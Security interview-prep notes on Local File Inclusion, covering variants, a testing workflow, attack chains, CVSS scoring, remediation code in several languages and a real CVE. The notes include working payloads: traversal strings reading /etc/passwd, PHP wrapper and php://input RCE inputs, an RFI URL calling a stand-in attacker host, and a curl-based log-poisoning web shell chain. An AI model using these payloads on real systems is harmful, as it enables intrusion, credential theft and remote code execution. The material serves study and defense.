

Local File Inclusion (LFI) — Interview Prep Notes

1. Logical description

- App dynamically includes/reads a file based on user-controlled input (page/template/lang param) without validating against a fixed allowlist.
- Taint model: source = request param (`?page=` , `?file=` , `?lang=`) → sink = `include()` / `require()` / `fopen()` / `readfile()` / template loader → missing sanitizer = path canonicalization + allowlist check.
- Distinct from pure Path Traversal (which just reads files) — LFI in interpreted languages (PHP) can lead to **code execution** if included file is interpreted, not just read.

2. OWASP category & CWE

- OWASP 2021: commonly mapped to **A03:2021-Injection** (file inclusion treated as injection into include sink); some practitioners argue **A01:2021-Broken Access Control** (unauthorized file access) — debated, state both, default to A03 for interview unless pushed.
- CWE-98 (PHP Improper Control of Filename for Include/Require — "Remote File Inclusion")
- CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — Path Traversal, the read-only sibling)
- CWE-73 (External Control of File Name or Path)

3. Common variants

- Classic LFI: `?page=../../../../etc/passwd`
- LFI via null byte (legacy PHP <5.3.4): `?page=../../../../etc/passwd%00`
- LFI via PHP wrappers: `php://filter/convert.base64-encode/resource=config.php` (source disclosure), `php://input` (RCE via POST body as PHP), `data://text/plain;base64,...` (RCE), `expect://` (RCE), `zip://` / `phar://` (deserialization/RCE)
- Remote File Inclusion (RFI): `?page=http://attacker/evil.txt` (requires `allow_url_include=On`)
- LFI to RCE via log poisoning (inject PHP into `access.log` / `auth.log` User-Agent, then include log file)
- LFI to RCE via session file poisoning (`/var/lib/php/sessions/sess_<id>`)
- LFI via upload + include (chain with File Upload — upload attacker file, LFI includes it)
- Truncation via path length limits (older PHP) or null-byte tricks
- Filter/encoding bypass: double URL encoding, unicode/overlong UTF-8 encoding of `../../../../` , absolute path bypass on misconfigured `open_basedir`

4. Attack surface / entry points

- ☐ Template/page/module selector params (`?page=` , `?template=` , `?module=`)
- ☐ Language/locale selector (`?lang=en`)
- ☐ Theme/skin loader
- ☐ File download/preview features (`?file=report.pdf`)

- ☐ Log viewer / debug endpoints
- ☐ Plugin/widget loader in CMS
- ☐ Config/include path set via cookie or header
- ☐ Multi-step wizard "include next step" param
- ☐ API endpoints resolving file paths from JSON body

5. Technical testing workflow

Step	Verify	Manual	Burp	ZAP	Nuclei	Payload/why
Identify file-param sinks	Which params feed file ops	Manual param review, JS source review	Param Miner extension, Site map	Spider + params tab	<code>lfi</code> tag templates	N/A
Basic traversal	Server resolves <code>../</code>	<code>?page=../../../../etc/passwd</code>	Repeater/Intruder with traversal wordlist	Manual editor / Active Scan	LFI payload templates	Confirms base traversal works
Depth/encoding bypass	Filter strength	<code>..%2f</code> , <code>%2e%2e/</code> , double-encode <code>%252e%252e%252f</code> , unicode overlong	Intruder cluster-bomb depth+encoding	Manual editor	Encoding-variant templates	Bypass naive blacklist filters
Null byte (legacy)	Old PHP truncation	<code>?page=../../../../etc/passwd%00</code>	Repeater	Manual editor	—	Confirms legacy stack
Wrapper abuse	<code>allow_url_include</code> / wrappers enabled	<code>php://filter/convert.base64-encode/resource=index.php</code>	Repeater, decode Base64 in response	Manual editor	—	Source disclosure without RCE risk first
RFI check	External URL inclusion	<code>?page=http://<oast>/shell.txt</code>	Repeater + Collaborator	Manual editor + OAST	RFI templates	Confirms <code>allow_url_include=On</code> , safer OOB signal
Log poisoning	Can control log content + include log path	Set <code>User-Agent: <?php system(\$_GET['c']);?></code> , then <code>?page=../../../../var/log/apache2/access.log&c=id</code>	Repeater (2 requests)	Manual editor	—	Escalate read-only LFI to RCE
Session poisoning	PHPSESSID content controllable	Set session var to PHP payload, include session file path	Repeater	Manual editor	—	Alternate RCE escalation path
php://input RCE	POST body executed as PHP	<code>?page=php://input</code> + POST body <code><?php system('id');?></code>	Repeater (raw body edit)	Manual editor	—	Direct RCE if wrapper allowed
Upload+LFI chain	Uploaded file includable	Upload file via upload endpoint, then	Repeater across 2 endpoints	Manual editor	—	Bridges Part A and Part B

Step	Verify	Manual	Burp	ZAP	Nuclei	Payload/why
		LFI include its path				
Confirm RCE	Full attacker loop	Execute <code>id/wh</code> <code>oami</code> , retrieve output	Repeater/Browser	Browser	—	Impact confirmation

6. Evidence to collect

- Request/response showing file content disclosed (e.g., `/etc/passwd` contents, or base64-decoded source)
- Screenshot/log of log-poisoning two-step chain and resulting command output
- OAST callback log (Collaborator/interactsh) confirming RFI/OOB interaction
- Response diffing showing behavior change between valid/invalid traversal depth (confirms sink, even if output filtered)
- Full curl reproduction steps

7. Good PoC

- Two-step reproducible chain (poison → trigger) with exact requests
- Command execution screenshot/output (`id`, `whoami`)
- Business-impact framing: "read of `/etc/passwd` demonstrates arbitrary file read; chained to RCE via log poisoning below"

```
curl -A '<?php system($_GET["c"]);?>' https://target/
curl 'https://target/index.php?page=../../../../../../var/log/apache2/access.log&c=id'
```

8. Attack chains

- LFI (read) → source code disclosure → secrets/DB creds in config → full DB compromise
- LFI → log/session poisoning → RCE → full server compromise
- File Upload → LFI include of uploaded file → RCE (classic chain, esp. when upload blocks `.php` but LFI can include any ext and PHP still parses content)
- LFI → read SSH keys/`.env`/cloud metadata files → lateral movement / cloud pivot
- RFI → external malicious script inclusion → RCE (if `allow_url_include` on, rare in modern PHP)
- LFI → SSRF-like read of internal config → chain into SSRF against internal services

9. Common false positives

- Traversal payload reflected in error message but file not actually read (verbose error, not real inclusion)
- WAF returns generic 403/406 for any `../` in scanner noise — not a confirmed finding without content proof
- App uses fixed allowlist internally regardless of param manipulation (param exists but unused/dead code)
- `open_basedir`/chroot restricts read to intended dir — traversal syntax "works" but always resolves inside sandbox
- Static analysis flags `include($var)` but `$var` is fully server-controlled (no user input reaches it)

10. Prerequisites for exploitability

- User-controlled input reaches file-read/include sink
- No (or bypassable) allowlist/canonicalization check
- For RCE escalation: interpreter parses included file as code (PHP), and either wrapper support, log/session write access, or upload chain available
- Sufficient file-system permissions for web server user to read target file

11. Attacker achieves

- Arbitrary file read (config, source code, credentials, SSH keys, `/etc/passwd`)
- Source code disclosure → further vuln discovery (secrets, other bugs)
- Remote Code Execution (via poisoning/wrapper chains)
- Full server/host compromise, pivot to internal network
- Cloud credential theft via metadata endpoint read (if reachable)

12. CIA impact (tabular, per variant)

Variant	C	I	A	Example CVSS v3.1 vector
Basic LFI (file read only)	High	None	None	<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</code> (7.5)
LFI → source/config/secrets disclosure	High	Low	None	<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N</code> (7.7)
LFI → RCE via log/session poisoning	High	High	High	<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code> (9.8)
RFI → RCE	High	High	High	<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code> (9.8)
Authenticated LFI (low-priv required)	High	High	High	<code>AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</code> (8.8)

13. Typical CVSS

- RCE-capable (poisoning/wrapper chain): **Critical, 9.8**
- Unauthenticated file read only: **High, 7.5**
- Authenticated LFI: **High, 8.1–8.8**

14. Business impact (financial app context)

- Read of DB credentials/`.env` → direct path to cardholder data environment (PCI-DSS scope expansion, Req 3/6/8 violations)
- Source disclosure enables discovery of further business-logic flaws (compounding risk)
- Regulatory breach reporting obligations if PII/financial records read (GDPR, local banking regulator)
- RCE escalation on payment-adjacent host = severe incident response/forensics cost, possible mandatory external QSA assessment
- Reputational damage disproportionate to "just a file read" — often underestimated by non-technical stakeholders, important to frame chain-to-RCE explicitly in exec reporting

15. Indicators/signals

- Response content/length changes meaningfully across traversal depth values
- Base64-looking blob in response (php://filter wrapper hit) that decodes to source code
- Application/server error revealing filesystem paths (e.g., `failed to open stream`)
- Outbound DNS/HTTP callback to OAST domain from RFI payload

- Access logs show repeated `../` sequences or wrapper strings (`php://`, `data://`, `expect://`) from same source IP — sign of active exploitation attempt

16. Root cause (code-level)

```
# Vulnerable pseudocode
page = request.get('page')
include(BASE_DIR + page)      # user input directly concatenated into include path, no al
lowlist/canonicalization
```

- Failures: dynamic include/require driven by raw user input, no canonical path resolution + prefix check, no extension enforcement, verbose file-system errors leaking paths, log files writable with attacker-controlled content and later included.

17. Remediation / secure design

- Never pass user input directly to include/require/file-read APIs
- Use a strict allowlist/map: `{"home": "home.php", "about": "about.php"}[page]` — reject anything not in map
- If dynamic path unavoidable: canonicalize (`realpath`) then verify result is prefixed by intended base directory before use
- Disable dangerous PHP settings: `allow_url_include=Off`, `allow_url_fopen=Off` where not needed
- Restrict filesystem access via `open_basedir`, chroot, or container-level isolation
- Suppress verbose filesystem errors in production
- Avoid storing user-controllable content in files the app later includes (logs, sessions) — or store logs outside webroot with generic filenames

```
# Python
ALLOWED_PAGES = {'home': 'home.html', 'about': 'about.html'}
page = ALLOWED_PAGES.get(request.args.get('page'))
if not page: abort(400)
return render_template(page)
```

```
// PHP - safe pattern
$allowed = ['home' => 'home.php', 'about' => 'about.php'];
$page = $allowed[$_GET['page']] ?? null;
if (!$page) { http_response_code(400); exit; }
include __DIR__ . '/pages/' . $page;
```

```
// Java
Map<String,String> allowed = Map.of("home","home.jsp","about","about.jsp");
String page = allowed.get(request.getParameter("page"));
if (page == null) throw new BadRequestException();
request.getRequestDispatcher("/pages/" + page).forward(request, response);
```

```
// Node.js
const allowed = { home: 'home.html', about: 'about.html' };
const page = allowed[req.query.page];
if (!page) return res.status(400).end();
res.sendFile(path.join(PAGES_DIR, page));
```

18. Compensating controls (if root cause unfixed)

- WAF rules blocking `../`, `php://`, `data://`, `expect://`, encoded traversal patterns
- `open_basedir` / chroot / container filesystem isolation limiting blast radius even if include sink remains
- Disable log/session write access from web-facing input where feasible, or isolate log storage
- File integrity monitoring on config/credential files
- Network egress restrictions to prevent RFI callback / limit OOB exfil

19. If seen repeatedly — what it indicates

- Legacy dynamic-include pattern still used across codebase instead of allowlist routing
- Missing secure coding standard for "any dynamic file/template resolution" — same systemic-control-failure framing as IDOR: individual finding is symptom, pattern is process gap
- Insufficient SAST coverage for taint-tracked include/require sinks

20. Upstream improvements

- Semgrep/CodeQL taint rule: `include` / `require` / `fopen` / `readfile` sink reachable from `request.args` / `request.body` without allowlist sanitizer
- Framework-level protection: use template engines with sandboxed includes (avoid raw `include()`), enforce routing via framework router instead of dynamic file resolution
- Design checklist item: "Does this feature dynamically resolve a file/template path from user input? → mandatory allowlist + review"
- Lint rule flags PHP wrapper strings (`php://`, `data://`, `zip://`) appearing in any user-input-adjacent code path
- CI check: `allow_url_include` / `allow_url_fopen` must be `Off` in prod php.ini baseline

21. Sample triage response

Confirmed: `page` parameter is passed unsanitized to `include()`, allowing arbitrary local file read (validated via `/etc/passwd` disclosure) and escalated to RCE via Apache access-log poisoning (PHP payload in `User-Agent`, executed via `?page=../../../../var/log/apache2/access.log&c=id`). Rated Critical (CVSS 9.8, `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`). Recommending immediate WAF rule as stopgap + allowlist-based fix per remediation note. Requesting scope confirmation (single host vs. shared infra) for incident severity.

22. Sample developer remediation note

Issue: `page` GET parameter is concatenated directly into `include()` without validation (CWE-98), enabling local file read and, via log-poisoning chain, remote code execution. Fix: (1) Replace dynamic include with allowlist map of valid page keys → file paths. (2) Reject any input not in the map (400). (3) Set `allow_url_include=Off`/`allow_url_fopen=Off` in prod. (4) Move logs outside webroot, generic non-guessable names. (5) Add taint-mode Semgrep rule to flag future raw `include($_GET...)` patterns in CI.

23. Real-world CVE

- **CVE-2021-41773** (Apache HTTP Server 2.4.49) — path normalization flaw allowed traversal outside Alias-configured directories via encoded `.` sequences (`/cgi-bin/././././././etc/passwd`), escalating to unauthenticated RCE when `mod_cgi` enabled (`/cgi-bin/./././bin/sh` + POST body command). CISA KEV-listed, actively exploited in the wild within 48 hours of disclosure — strong example of "path traversal → RCE" escalation and of why CGI/exec-enabled config is a critical prerequisite to call out (Q10).

Quick Cross-Reference: Upload + LFI Chain

- Upload endpoint rejects `.php` by extension but accepts `.jpg`/`.txt` containing PHP code → LFI `include()` elsewhere in app parses that file's *content* as PHP regardless of extension → RCE. **Always test LFI sinks against files droppable via any upload feature, even "safe" extensions.**
- Interview soundbite: "File upload controls what lands on disk; LFI controls what the interpreter executes — a filter that's airtight on one side is meaningless if the other side has no allowlist."